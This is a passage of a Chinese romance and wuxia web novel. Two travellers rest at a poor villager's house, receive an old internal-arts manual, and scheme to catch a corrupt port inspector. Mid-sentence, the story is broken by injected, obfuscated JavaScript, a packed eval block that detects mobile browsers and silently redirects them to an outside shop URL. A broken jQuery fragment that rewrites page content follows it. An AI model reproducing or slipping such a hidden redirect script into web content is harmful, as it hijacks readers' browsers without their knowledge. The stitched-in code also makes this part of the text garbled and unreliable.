“我……”沈鸢避开萧珩眼神,回头瞥见热气腾腾的锅子,心念一转,“姜汤还有的多,不如你我各喝一碗,方才淋了雨,就当是驱寒了。”
说着,将汤盛了出来,示意萧珩自取。
而后她将自己那份姜汤一饮而尽,硕大的碗遮住了她半张脸,也掩去了她此刻的眼神。
萧珩默默端着碗,却喝得很慢,手指轻轻地在碗口叩了两下,似乎在想着什么。
这时,老太太也喝完了姜汤,抚着肚子长长吐出一口浊气。
沈鸢赶紧起身,陪着老陈站在老太太旁边等着,观察她接下来的情况。
忽然,她打了个喷嚏。
这一路夜行淋雨,身上的衣服都湿了,至今还贴在身上,这可不是喝完姜汤就能了事的。如今一空下来,觉得浑身冷飕飕的。
“到这儿来取暖吧。”萧珩指着尚未熄火的灶台,示意她过来。
沈鸢踟蹰了一下,还是走了过去。
两人并排,萧珩蹲着,屋里头最后一把椅子让沈鸢坐着,两人一时差不多高,肩并肩,脸也挨得极近,沈鸢一转头便看见了萧珩整张清俊的脸在自己眼底下无限放大。
自沈鸢坐边上以来,萧珩始终眼眸低垂着,也就是某个间隙,飞快地抬眼看了沈鸢一下,而后再次将整个眼神专注的投在地上,好像那里有什么稀罕玩意儿似的。
也不知是不是因为火光,她似乎觉得身畔那张脸的主人,耳廓有点发红。
这一刻,两人谁都没有说话。
好像不说话,就能这样短暂的时刻变得久一些、再久一些。
又是一会儿,这样的寂静终于被打破。
屋里头传来老陈的低呼,原来是老太太脸上的气色终于开始有了好转的迹象。
老陈几乎要跪倒在两人脚边:“仙人降世啊!我这辈子为您做牛做马……”
沈鸢赶紧扶住他,问道:“老人家,做牛做马就不必了。只是我有个不情之请,这里,方便我们暂时借宿一晚上吗?”
她打定主意,明天就要出手去整一整那个什么巡检狗官,而今天太晚了,得先找个地方养足精神才是。放眼周边,除了老陈家里,也没有其他可以选的了。
只是话一出口,老陈愣住了。
这里四面漏风,唯一能睡的只有那张床板,但那床……老陈想到两位仙人刚救了自家老婆子一命,咬着牙正要说话,沈鸢给萧珩递了个眼神,又抬着下巴往地面方向点了点,萧珩心领神会,跟着说道:“我们在地上将就一夜就行。”
老陈一听,哪里肯答应?
老太太也从床上起来,拉着沈鸢想让她睡自己的床板,沈鸢连连婉拒:“不碍事的,我们常年在外走动,睡地上也不觉得什么。倒是你们,年纪大了,可不能再有闪失了。”
两人见劝不动萧珩和沈鸢,只能将屋里仅有的被褥抱来。
萧珩见灶台边还有些茅草麻袋之类的,也取了过来,铺在地上,而后劝两位老人赶紧去休息,莫要替他们担心了。
整理完毕后,沈鸢见萧珩独自走到了墙角,盘坐在那里,她不由愣住:“你不睡?”
“不是不睡,只是我不想跟人挤着。”
“你……你就打算坐一晚上?”
“常年在外走动,不碍事的。”萧珩竟然还有心情开玩笑,将沈鸢方才说的话原封不动用在自己身上。
沈鸢抿了抿唇,一时间不知该说什么。她自然知道萧珩是有意避嫌,否则他们一男一女挤在同一片地上,那岂非……岂非跟同床共枕没什么两样?
可是……沈鸢垂眼看着地上,心情很是异样。
那是堂堂七皇子殿下亲手铺就的地方,只给她一个人铺的。
想到这里,她总感觉,好像有什么怪怪的?
罢了,就这样吧。
沈鸢不再多言,躺了下来。
明明累得很,可是心底深处有一种异样的情绪在游走,叫她怎么都睡不着。
她忍不住微睁开眼,打量一旁的萧珩,那人气定神闲地盘坐着,仿佛早已陷入神游。
沈鸢收回眼神,转了个身,没留意到在自己转身的间隙,方才那双闭着的眼霍然开了一下,对着铺上那截压弯了的马尾盯了许久。
回想刚才沈鸢救治老太太的举动,萧珩翻来覆去地想,她是想起了什么,还是全凭本能?
若是前者,以她的性子,能沉得住气?
但若是后者,她若是因此怀疑自己来历,岂不是更糟?……
他隐约有种感觉,像方才那样同喝姜汤、并排取暖的日子,可遇不可求。
不知道还会不会有下次?
一时间,各种纷乱思绪排山倒海涌来,搅得他脑子昏昏沉沉。
好不容易挨到天亮,沈鸢打着哈欠起来,见萧珩也已站起,眼下青色明显,显然是一夜未曾休息踏实。甚至,这人的困顿之色比她更多。
沈鸢忍不住打趣:“若是过了今天,还是走不了,那你的眼下恐要熬成黑色了。”
萧珩又好气又好笑的瞥了沈鸢一眼:“今天一定能走成。”
“那是,已经耽搁了一天,不能再等了。”
说话间,老陈端着两碗稀薄的米糊过来,汤多米少,但这已是他家里的极限了。
粥烫,只见老陈随手抽了一本书垫在碗下,书很旧了,泛黄纸张翘了起来,露出了什么线条图案。
沈鸢眼尖:“这是……?”
人体经脉图?
她差点要脱口而出,旋即想起了什么,看了萧珩一眼,将心中疑惑压了下去。
她一眼就能认出来,那定然跟她的过去密不可分。毕竟做刺客的,从小就要将人体经脉背得滚瓜烂熟……
可是,不能再在萧珩眼前暴露了。
没想到萧珩顺着沈鸢眼神看了过去,之后也变色了:“这是前朝的书?”
老陈点头,见他们都对这书感兴趣,便将书抽了出来:“这是我家祖上留下的。想当初,我们老陈家是在临漳城做镖局生意的,很是威风,后来战乱,便躲在了这里,一躲就是数十年,日子越来越窘迫。直到现在,我们陈家先祖留给我们的,也就是这本书,和一些念想了……”
沈鸢看了看那书封面,上面是奇奇怪怪的文字,她根本看不懂,想来都是前朝文字。
然而萧珩面上的神色却愈发凝重,沈鸢不由问:“你认识前朝文字?能看懂这书?”
“我原本是不懂的,奈何我三哥颇爱看书,就连前朝遗留的书也不例外,我跟着一起,也就认识了些。”萧珩指着封面的字说,“这是一本内功心法,名为,太虚心决。”
沈鸢愣住:“内功心法?”
“是啊,老人家方才说祖上是开镖局的,练武之人自然修习心法。不过这心法有些特殊,我从未见过这样的。”
“你快说说。”
萧珩看了她一眼:“你很感兴趣?”
“习武之人嘛,难免好奇,你倒是说啊。”
萧珩垂下眼,一字一句说着:“书里写着,断脉重生,须以纯阳真气为引。”
“什么?”沈鸢一颗心砰砰直跳,强行掩饰住自己面上的震撼和惊喜。
世间竟然真的有此法?那她受损的心脉,岂不是……
沈鸢问:“老人家,这书方便借我吗?”
萧珩抬眼,瞥了沈鸢一眼,将她竭力控制住的期待看在眼底。
老陈:“这书我们没什么用,既然仙人想要,就送您了。”
这一刻沈鸢眼里的喜色终于止不住了,她将书接过,极为宝贝的捧在手里。
萧珩心里生出疑惑,沈鸢要这书做什么?她明明看不懂前朝文字,她还这么眼巴巴的想要这书?
难道说,她是为了书里的心法?
可是她……
一时间萧珩心中闪过一个剧烈的念头,可是他看了沈鸢数眼,终于将满心疑惑压了下去。
他伸手摸了摸盛有粥的碗,已不再烫了,触手温热,正好,便将其中一个碗推到了沈鸢面前:“快喝,一会儿凉了。”
沈鸢收起了书,低头端着碗喝了一口,再抬头时,嘴唇上方留有一层汤渍,看起来像是小猫似的。她却没有意识到,低头又是一口,几乎将脸埋进碗里。
萧珩抿了抿唇,掩着笑意问老陈这村里的情况。
说起吴巡检,老陈露出了义愤填膺之色:“那人叫吴邓,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720464|208618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
三年前来了村里当巡检,他见我们这里靠水吃饭,便打起了钱财的主意。”
“村子临水,边上有个港口,不少船商会在我们这里借宿一两晚,买些干粮和水以作补给,或是有些船出了事故,也会停在这里,租用这里的船。那个吴巡检就将那些吃食卖得极贵,还有租船的钱,更是狮子大开口!“老陈说到这里,摆着手叹道,“就连我们这里当地村民,若要用船,也得付船钱。小船一百两,大船五百两啊……”说着,老陈想到了昨晚的事情,眼眶开始发红。
沈鸢紧紧握住了拳头:“岂有此理!他如此行径,无人告他吗?”
“往来商人都存着花钱消灾之心,何苦与朝廷硬碰硬?下次再来时,莫要在这里停靠便是。”老陈揉着酸胀的眼睛,压低声音说道,“这个吴邓不简单,我有几次撞见他与人说话,态度恭敬极了,好像完全变了个人似的,我估摸着他背后有人哪。”
沈鸢忍不住看了萧珩一眼,心想这人先前的猜测还真是没错。
她袖中的手伸了出来,缩在桌下给萧珩比了个大拇指,看得萧珩面上一派严肃,实则在苦苦忍笑。
告别老陈之时,萧珩趁他们不注意,在他们家灶台上放了些银钱,这才与沈鸢离开了这里。
两人走在村中泥泞小路,都心思重重。
“你怎么想?”萧珩问向沈鸢。
“还能怎么想,自然是顺藤摸瓜了。不过这事要快,不能再拖了。”
萧珩颇感欣慰地露出就久违的笑,笑得沈鸢莫名其妙:“你笑什么?”
“笑你终于没想要将那吴邓一箭射倒了。”
沈鸢忍不住白了他一眼,作势挽了挽袖子:“要是你那招顺藤摸瓜没有用,我还是会用我的办法,什么吴巡检王巡检,有几个狗官就射几个!”
“……好。”
说话间,两人再次来到港口,有别于昨夜的静默,今天一大早,这里就开始闹腾起来。
吴邓腰间垂着一盘银光闪闪的钥匙,一身半旧的绸缎袍子,连官服都不穿,就那么昂首挺胸走在岸边,好像这里说一不二的王。
有几个商人打扮的男人,睡眼惺忪地拎着箱子从村里走出来,试图向吴邓还价,却被吴邓不耐烦地挥手。
“有钱就开船,没有就靠边,别耽误我当差。”
那些人没有办法,暗地露出怨恨之色,却还是乖乖掏了钱。
“等等。”吴邓眼珠子一转,用下巴点了点树下的瓜果,“这瓜不错,不如带两个去?看在你们心诚的份上,便宜卖了,两个瓜三十两。”
沈鸢定睛一看,简直眼珠子都快要瞪出来了。那些瓜,早已放了数日,破的破,皱的皱,上面还有飞虫盘旋叮咬,白给她都不要,他竟然敢如此要价?
脚步差点就要迈出去了,忽然沈鸢想到了什么,转而看了萧珩一眼,见他神色镇定地站在原地,沈鸢的脚步生生迈了回去。
几个商人自然不肯要,吴邓带着凉飕飕的笑意看他们:“不要也行,开门做生意本就讲究你情我愿。就像我手里这开船的钥匙,我若是不肯,你们也没有办法。”
“你这是强买强卖!”有人怒喝着,却被身边同伴拉了把,他们几个低声商量了几句,最终还是妥协。
花了一百三十两,几个人高马大的汉子挤在了一条小船,船头放着两个不能吃的瓜。
吴邓迎着港口的风,朝那条船挥手,任由风将他腰间的钥匙吹得叮当作响。
他转身时,迎面走来一个月白长衫的年轻男人。
长衫有点皱了,白衣上染了些污渍,男人的神情也有些困顿,不那么明朗,但吴邓对着那张脸,却愣了下。
此人举手投足,皆是风姿,定是有钱人!
果然下一刻,年轻男人笑着问他:“巡检大人,我要一条船,大船。”
身后,一个扎着马尾的女子一把拉住他:“你疯了?我们就两个人,你要大船做什么?大船五百两啊!”
“钓鱼。”男人气定神闲地说出两个字。
吴邓笑的嘴角都要咧到耳根子了:“大船是吗?有啊!”
沈鸢用低头掩住自己笑意。
钓鱼?钓的是眼前这条大鱼吧。